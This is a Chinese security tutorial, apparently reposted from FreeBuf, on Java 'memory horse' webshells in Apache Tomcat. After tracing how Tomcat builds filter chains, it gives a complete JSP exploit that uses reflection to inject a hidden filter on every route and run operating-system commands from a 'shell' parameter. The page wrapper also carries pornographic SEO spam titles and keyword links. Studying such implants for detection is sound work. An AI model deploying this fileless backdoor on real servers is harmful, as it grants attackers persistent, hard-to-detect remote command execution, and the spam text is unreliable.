成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Java內存馬連續劇——Filter內存馬

安全 應用安全
注入成功后,我們對服務器訪問任何請求,都會執行惡意代碼。而且當jsp文件刪除后,木馬仍然有效。它存在當前的web應用上下文中,所以重啟服務器就沒了。

知識基礎:

剛開始內存馬的這塊學習與反序列化并無太大關系,反而與javaweb,tomcat聯系更加緊密。所以在學習內存馬之前需要先了解JSP,java web的三大件,Servlet,Filter,Listener的基本知識和工作流程和Tomcat 架構的相關內容。

0x01 什么是Filter馬

內存馬就是無文件木馬,無文件落地,它通常會存在進程,內存或者java虛擬機中,特點更加隱蔽,難以排查,并且也難以刪除。而今天學習的Filter內存馬是傳統web應用型內存馬,主要將惡意代碼注入到過濾器中,當過濾器攔截servlet請求的參數時,過濾器中的惡意代碼就會執行。

0x02 環境搭建

首先配置一個 servlet 的web項目,

1.png1.png

然后一直點下一步就好了,它會自動幫我們生成一個簡單的servlet。

pom.xml中導入tomcat相關依賴:


<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.38</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-websocket</artifactId>
<version>9.0.38</version>
</dependency>


方便之后調試代碼,在這之后我們創建一個自定義的Filter過濾器


package com.example.memoryhorse;
import javax.servlet.*;
import java.io.IOException;

public class MyFilter implements Filter{

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("執行過濾功能");
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("cmd"));
Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));
}
}


重寫了doFilter方法,里面添加惡意代碼,接收cmd參數,執行任意命令。web.xml中配置相關參數


<filter>
<filter-name>MyFilter</filter-name>
<filter-class>com.example.memoryhorse.MyFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>MyFilter</filter-name>
<url-pattern>/MyFilter</url-pattern>
</filter-mapping>


這里我定義的是/MyFilter路由,在訪問這個路由時,就會被我們自定義的過濾器攔截。

0x03 Filter內存馬探索

這個時候是不是就有點像內存馬的樣子,我們注冊了一個惡意的 /MyFilter 路由,訪問這個路由可以執行任意代碼。測試一下。

2.png2.png

成功彈出計算器,這也是注入Filter內存馬的一個抽象的體現。然而在實際攻防場景中,我們不可能在別人服務器上插入自己自定義的過濾器,web.xml這個配置文件也不是那么容易修改,就算修改了配置文件也很好排查,起不到隱秘的效果,要想動態的注冊Filter馬,就必須弄清楚過濾器的創建和調用過程。

1.tomcat Filter 的流程分析

在MyFilter的doFilter方法里下個斷點,訪問/MyFilter路由,會被我們自定義的過濾器攔截,doFilter方法是處理過濾功能的方法,開始調試。

3.png3.png

這個filterChain是一個過濾器鏈,通過調試看到里面存放著兩個過濾器,一個是我們自定義的,一個是 tomcat 自帶的,跟進它的doFilter方法。

判斷 Globals.IS_SECURITY_ENABLED 安全模式是否開啟,這里判斷false。

4.png4.png

跟進 internalDoFilter 方法。

5.png5.png

filters 是過濾器鏈數組,取數組的下標,遍歷過濾器,賦值給filterConfig。

6.png6.png

此時的過濾器為WsFilter 調用它的doFilter方法,跟進看一下。

7.png7.png

這里的判斷 是否滿足WebSocket握手的特殊條件,而且是否已經配置了相應的類來處理WebSocket連接,如果兩個都不滿足,然后回調用過濾器鏈中的下一個過濾器。繼續跟進。

又回到了 internalDoFilter 方法,此時pos=2,不滿足if條件。也就是說當過濾器遍歷完后,就會調用 service 方法處理具體的業務請求。

8.png8.png

事實上可以定義多個過濾器,當攔截請求后,從filterChain 中一個個調用doFilter方法,最終執行 service 方法。

那么Filter鏈是怎么一步步創建的,我們要注冊一個惡意的Filter進去就需要了解Filter鏈的創建過程。

9.png9.png

通過執行流可以看到不斷調用 invoke 方法,跟進最后一個 invoke方法,也就是 StandardWrapperValve 類的 invoke 方法。

10.png10.png

這里已經創建好了 Filter鏈,往上翻代碼。

11.png11.png

createFilterChain 就是創建Filter鏈的重要方法,進入到這個方法下個斷點,開始調試。

12.png12.png

這里實例化一個filterChain,設置了當前過濾器鏈中的 Servlet,然后獲取當前 Servlet 包含在的上下文,從調式信息就可以看到是 StandardContext 對象,最后定義一個filterMaps 獲取了當前上下文中的過濾器映射。

13.png13.png

此時的filterMaps就獲取到了兩個過濾器,到后面會對filterMaps進行兩次遍歷。

這段代碼的目的是將根據 URL 和 Servlet 名稱匹配的過濾器配置添加到過濾器鏈中,以確保在請求處理過程中應用適當的過濾器。匹配過濾器配置時,會檢查 Dispatcher 類型、URL 和 Servlet 名稱,然后將匹配的過濾器配置添加到過濾器鏈中。如果沒有匹配的過濾器配置,繼續處理下一個過濾器映射。

14.png14.png

filterConfig 是通過調用context上下文的findFilterConfig方法獲取,filterConfigs是一個Map,從里面拿。

15.png15.png

最后通過 addFilter 方法將過濾器添加到鏈中。

2.攻擊思路分析

過濾器是從filterConfigs這個Map里拿的,那么我們把惡意的Filter添加進 filterConfigs 里,等它取出來,添加到Filter鏈中就可以了,那么接下來怎么構造過濾器,也就是filterConfig,看調試信息。

16.png16.png

首先獲取上下文context,然后就是自定義的filter代碼,最后一個filterDef就是對應web.xml中對filter的配置,fiterConfig的相關內容都是從context中得到。


FilterDefs:存放 FilterDef 的數組 ,FilterDef 中存儲著我們過濾器名,過濾器實例
等基本信息
FilterConfigs:存放 filterConfig 的數組,在 FilterConfig 中主要存放 FilterDef 和
Filter 對象等信息
FilterMaps:存放 FilterMap 的數組,在 FilterMap 中主要存放了 FilterName 和 對
應的 URLPattern


所以只要我們將filter ,FilterDefs,FilterMaps添加到FilterConfigs中就可以添加filter了。

貼上別的師傅的流程圖:

17.png17.png

其中這里涉及到了幾個類:


ServletContext:
javax.servlet.ServletContextServlet規范中規定了的一個ServletContext接口,提供了Web應用所有Servlet的視圖,通過它可以對某個Web應用的各種資源和功能進行訪問。WEB容器在啟動時,它會為每個Web應用程序都創建一個對應的ServletContext,它代表當前Web應用。并且它被所有客戶端共享。 

ApplicationContext:
org.apache.catalina.core.ApplicationContext
對應Tomcat容器,為了滿足Servlet規范,必須包含一個ServletContext接口的實現。Tomcat的Context容器中都會包含一個ApplicationContext。

StandardContext:
Catalina主要包括Connector和Container,StandardContext就是一個Container,它主要負責對進入的用戶請求進行處理。實際來說,不是由它來進行處理,而是交給內部的valve處理。
一個context表示了一個外部應用,它包含多個wrapper,每個wrapper表示一個servlet定義。(Tomcat 默認的 Service 服務是 Catalina)


引用師傅的解釋,當前這是前面tomcat架構的內容,所以基礎內容還是要了解。

0x04 Filter內存馬exp編寫

通過反射創建上面需要的幾個對象:


<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%


//請求對象 request 中獲取 ServletContext 對象。
ServletContext servletContext = request.getServletContext();
//ApplicationContextFacade 是 Spring 框架中的一個類,用于封裝 Spring 的 Web 應用程序上下文。
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
//通過反射獲取上下文
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);


// context 字段,即 Spring 的應用程序上下文對象。通過反射獲取到該字段的值,它被強制轉換為 ApplicationContext 類型
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
//從 ApplicationContext 類中獲取一個名為 "context" 的私有字段。這個字段存儲了實際的 Spring 應用程序上下文對象
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
//類型轉換standardContext,標準的web應用程序上下文
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);


//創建filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "Filter";
if (hashMap.get(filterName)==null){
//構造filter對象
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter初始化");
}


@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("執行過濾");
}


@Override
public void destroy() {
}
};
//構造filterDef對象
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
//將過濾器的配置信息添加到應用程序上下文中
standardContext.addFilterDef(filterDef);


//構造filterMap對象
FilterMap filterMap = new FilterMap();
//添加映射的路由為所有請求
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//將上述設置好的過濾器映射對象添加到 StandardContext 中,并將其插入到已有的過濾器映射之前
standardContext.addFilterMapBefore(filterMap);


//構造filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


//將filterConfig添加到filterConfigs中,即可完成注入
hashMap.put(filterName,applicationFilterConfig);
response.getWriter().println("注入完成");
}
%>


為什么要寫jsp文件,因為在實際場景中,可以通過文件上傳漏洞將這個jsp馬上傳上去完成內存馬的注入。注釋上寫了,分步編寫exp。

18.png18.png

注入成功后,我們對服務器訪問任何請求,都會執行惡意代碼。而且當jsp文件刪除后,木馬仍然有效。它存在當前的web應用上下文中,所以重啟服務器就沒了。

參考鏈接:

https://xz.aliyun.com/t/10888

本文作者:XiLitter, 轉載請注明來自FreeBuf.COM

責任編輯:武曉燕 來源: ???FreeBuf.COM?
相關推薦

2023-04-06 10:26:25

Java內存馬Jetty

2013-09-17 09:52:05

搜狗BAT

2010-06-30 16:37:46

2013-10-12 13:01:51

Linux運維內存管理

2015-09-02 10:48:22

2013-10-22 10:23:12

2010-08-27 13:49:56

2011-03-25 10:23:22

2011-09-15 19:11:53

內網安全

2009-08-15 10:24:48

2009-08-10 16:20:13

2009-02-03 15:37:50

2010-11-01 16:14:29

2010-09-14 20:02:14

2009-06-02 09:09:36

2024-03-11 08:22:40

Java內存泄漏

2011-06-09 13:26:27

2010-10-26 13:29:28

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 国产精品成人一区二区 | 九九热免费观看 | 精品日韩一区二区 | 国产乱码精品一区二区三区忘忧草 | 国产成人精品av | 亚洲精品国产精品国自产在线 | 91看片免费 | 国产精品久久久久久久久久久久久久 | 91久久久精品国产一区二区蜜臀 | 国产精品99一区二区 | 美女福利视频网站 | 国产精品99久久久久久www | 日日操天天射 | 成人在线精品视频 | 日韩超碰在线 | 2022精品国偷自产免费观看 | 久久久久中文字幕 | 成人国产精品一级毛片视频毛片 | 色先锋影音 | www.天天操.com| 一本大道久久a久久精二百 国产成人免费在线 | 亚洲一区二区三区四区在线观看 | 日韩成人在线观看 | 国产在线播放一区二区三区 | 久久这里只有精品首页 | 亚洲欧美成人影院 | 日本免费在线观看视频 | 精品免费国产 | 免费成人高清在线视频 | 国产视频1区 | www精品美女久久久tv | 91佛爷在线观看 | 天天干天天玩天天操 | 欧美在线小视频 | 日韩精品在线一区 | 97人人澡人人爽91综合色 | 福利网址| 玖玖玖av| 黄色大全免费看 | 一区二区精品 | а天堂中文最新一区二区三区 |